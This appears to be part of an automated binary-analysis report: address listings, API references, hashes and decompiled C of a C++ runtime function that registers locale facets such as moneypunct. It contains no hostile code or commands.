0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878

APIs

__EH_prolog3.LIBCMT ref: 0048C841
std::_Lockit::_Lockit.LIBCPMT ref: 0048C84B

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C885
std::_Facet_Register.LIBCPMT ref: 0048C89C
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C8BC
Concurrency::cancel_current_task.LIBCPMT ref: 0048C8C9

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 3b6cb409a2f150d9db32ba9a40b159d5f1002f87e096a56cbfac55f0914535f5
Instruction ID: eaf95734eceb6df533cad90a05d1ddaa57abfc5d00c0d80ff92e90dbfc29bab1
Opcode Fuzzy Hash: 3b6cb409a2f150d9db32ba9a40b159d5f1002f87e096a56cbfac55f0914535f5
Instruction Fuzzy Hash: 2901C075D002258BCB05FBA5D8596BE77B5AF84324F14085FE411AB3D2CF7C9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C8CF, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C8CF(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v152;
				signed int _t165;
				void* _t302;
				short* _t436;
				void* _t476;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				void* _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				signed int _t494;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				signed int _t498;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				signed int _t502;
				signed int _t503;
				short* _t504;
				void* _t522;
				void* _t523;

				_push(8);
				E0049D90B(0x4d6966, _t476, _t490);
				E00488DEA( &_v20, 0);
				_t491 =  *0x4ede1c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t491;
				_t165 = E0042B315(_a8, E0042B22E(0x4eddc0, _t476, _t491, _t523));
				_t477 = _t165;
				if(_t165 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t477);
				} else {
					if(_t491 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E2D9(_t477, _t491, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t477, _t491);
							E00488DEA( &_v20, 0);
							_t492 =  *0x4eddf0; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t492;
							_t478 = E0042B315(_a8, E0042B22E(0x4edd9c, _t477, _t492, __eflags));
							__eflags = _t478;
							if(_t478 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t478);
							} else {
								__eflags = _t492;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E35E(_t478, _t492, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t478, _t492);
										E00488DEA( &_v20, 0);
										_t493 =  *0x4eddec; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t493;
										_t479 = E0042B315(_a8, E0042B22E(0x4edd98, _t478, _t493, __eflags));
										__eflags = _t479;
										if(_t479 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t479);
										} else {
											__eflags = _t493;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E3E2(_t479, _t493, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t479, _t493);
													E00488DEA( &_v20, 0);
													_t494 =  *0x4ede00; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t494;
													_t480 = E0042B315(_a8, E0042B22E(0x4edda4, _t479, _t494, __eflags));
													__eflags = _t480;
													if(_t480 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t480);
													} else {
														__eflags = _t494;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E467(_t480, _t494, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t480, _t494);
																E00488DEA( &_v20, 0);
																_t495 =  *0x4eddd0; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t495;
																_t481 = E0042B315(_a8, E0042B22E(0x4edd7c, _t480, _t495, __eflags));
																__eflags = _t481;
																if(_t481 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t481);
																} else {
																	__eflags = _t495;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E4CF(_t481, _t495, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t481, _t495);
																			E00488DEA( &_v20, 0);
																			_t496 =  *0x4ede04; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t496;
																			_t482 = E0042B315(_a8, E0042B22E(0x4edda8, _t481, _t496, __eflags));
																			__eflags = _t482;
																			if(_t482 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t482);
																			} else {
																				__eflags = _t496;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E537(_t482, _t496, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t482, _t496);
																						E00488DEA( &_v20, 0);
																						_t497 =  *0x4eddd4; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t497;
																						_t483 = E0042B315(_a8, E0042B22E(0x4edd80, _t482, _t497, __eflags));
																						__eflags = _t483;
																						if(_t483 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t483);
																						} else {
																							__eflags = _t497;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E59F(_t483, _t497, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t483, _t497);
																									E00488DEA( &_v20, 0);
																									_t498 =  *0x4ede08; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t498;
																									_t484 = E0042B315(_a8, E0042B22E(0x4eddac, _t483, _t498, __eflags));
																									__eflags = _t484;
																									if(_t484 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t484);
																									} else {
																										__eflags = _t498;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E607(_t484, _t498, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t484, _t498);
																												E00488DEA( &_v20, 0);
																												_t499 =  *0x4eddd8; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t499;
																												_t485 = E0042B315(_a8, E0042B22E(0x4edd84, _t484, _t499, __eflags));
																												__eflags = _t485;
																												if(_t485 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t485);
																												} else {
																													__eflags = _t499;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E682(_t485, _t499, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t485, _t499);
																															E00488DEA( &_v20, 0);
																															_t500 =  *0x4ede24; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t500;
																															_t486 = E0042B315(_a8, E0042B22E(0x4eddc8, _t485, _t500, __eflags));
																															__eflags = _t486;
																															if(_t486 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t486);
																															} else {
																																__eflags = _t500;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E6FD(_t486, _t500, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t486, _t500);
																																		E00488DEA( &_v20, 0);
																																		_t501 =  *0x4eddf4; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t501;
																																		_t487 = E0042B315(_a8, E0042B22E(0x4edda0, _t486, _t501, __eflags));
																																		__eflags = _t487;
																																		if(_t487 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t487);
																																		} else {
																																			__eflags = _t501;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E769(_t487, _t501, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t487, _t501);
																																					E00488DEA( &_v20, 0);
																																					_t502 =  *0x4ede28; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t502;
																																					_t488 = E0042B315(_a8, E0042B22E(0x4eddcc, _t487, _t502, __eflags));
																																					__eflags = _t488;
																																					if(_t488 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t488);
																																					} else {
																																						__eflags = _t502;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E7D5(_t488, _t502, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t488, _t502);
																																								E00488DEA( &_v20, 0);
																																								_t503 =  *0x4eddf8; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t503;
																																								_t489 = E0042B315(_a8, E0042B22E(0x4edd78, _t488, _t503, __eflags));
																																								__eflags = _t489;
																																								if(_t489 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t489);
																																								} else {
																																									__eflags = _t503;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										_t302 = E0048E849(_t489, _t503, __eflags);
																																										_pop(_t436);
																																										__eflags = _t302 - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(_t503);
																																											_t504 = _t436;
																																											_t158 = _t504 + 0x10;
																																											 *_t158 =  *(_t504 + 0x10) & 0x00000000;
																																											__eflags =  *_t158;
																																											 *((intOrPtr*)(_t504 + 0x14)) = 7;
																																											 *_t504 = 0;
																																											E00494BE0( *((intOrPtr*)(_t522 + 8)));
																																											return _t504;
																																										} else {
																																											_t489 = _v16;
																																											_v16 = _t489;
																																											_v4 = 1;
																																											E0048919D(_t489);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t489 + 4))))();
																																											 *0x4eddf8 = _t489;
																																											goto L89;
																																										}
																																									} else {
																																										_t489 = _t503;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t488 = _v16;
																																								_v16 = _t488;
																																								_v4 = 1;
																																								E0048919D(_t488);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t488 + 4))))();
																																								 *0x4ede28 = _t488;
																																								goto L82;
																																							}
																																						} else {
																																							_t488 = _t502;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t487 = _v16;
																																					_v16 = _t487;
																																					_v4 = 1;
																																					E0048919D(_t487);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t487 + 4))))();
																																					 *0x4eddf4 = _t487;
																																					goto L75;
																																				}
																																			} else {
																																				_t487 = _t501;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t486 = _v16;
																																		_v16 = _t486;
																																		_v4 = 1;
																																		E0048919D(_t486);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t486 + 4))))();
																																		 *0x4ede24 = _t486;
																																		goto L68;
																																	}
																																} else {
																																	_t486 = _t500;
																																	goto L68;
																																}
																															}
																														} else {
																															_t485 = _v16;
																															_v16 = _t485;
																															_v4 = 1;
																															E0048919D(_t485);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t485 + 4))))();
																															 *0x4eddd8 = _t485;
																															goto L61;
																														}
																													} else {
																														_t485 = _t499;
																														goto L61;
																													}
																												}
																											} else {
																												_t484 = _v16;
																												_v16 = _t484;
																												_v4 = 1;
																												E0048919D(_t484);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t484 + 4))))();
																												 *0x4ede08 = _t484;
																												goto L54;
																											}
																										} else {
																											_t484 = _t498;
																											goto L54;
																										}
																									}
																								} else {
																									_t483 = _v16;
																									_v16 = _t483;
																									_v4 = 1;
																									E0048919D(_t483);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t483 + 4))))();
																									 *0x4eddd4 = _t483;
																									goto L47;
																								}
																							} else {
																								_t483 = _t497;
																								goto L47;
																							}
																						}
																					} else {
																						_t482 = _v16;
																						_v16 = _t482;
																						_v4 = 1;
																						E0048919D(_t482);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t482 + 4))))();
																						 *0x4ede04 = _t482;
																						goto L40;
																					}
																				} else {
																					_t482 = _t496;
																					goto L40;
																				}
																			}
																		} else {
																			_t481 = _v16;
																			_v16 = _t481;
																			_v4 = 1;
																			E0048919D(_t481);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t481 + 4))))();
																			 *0x4eddd0 = _t481;
																			goto L33;
																		}
																	} else {
																		_t481 = _t495;
																		goto L33;
																	}
																}
															} else {
																_t480 = _v16;
																_v16 = _t480;
																_v4 = 1;
																E0048919D(_t480);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t480 + 4))))();
																 *0x4ede00 = _t480;
																goto L26;
															}
														} else {
															_t480 = _t494;
															goto L26;
														}
													}
												} else {
													_t479 = _v16;
													_v16 = _t479;
													_v4 = 1;
													E0048919D(_t479);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t479 + 4))))();
													 *0x4eddec = _t479;
													goto L19;
												}
											} else {
												_t479 = _t493;
												goto L19;
											}
										}
									} else {
										_t478 = _v16;
										_v16 = _t478;
										_v4 = 1;
										E0048919D(_t478);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t478 + 4))))();
										 *0x4eddf0 = _t478;
										goto L12;
									}
								} else {
									_t478 = _t492;
									goto L12;
								}
							}
						} else {
							_t477 = _v16;
							_v16 = _t477;
							_v4 = 1;
							E0048919D(_t477);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t477 + 4))))();
							 *0x4ede1c = _t477;
							goto L5;
						}
					} else {
						_t477 = _t491;
						goto L5;
					}
				}
			}

0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c900
0x0048c905
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
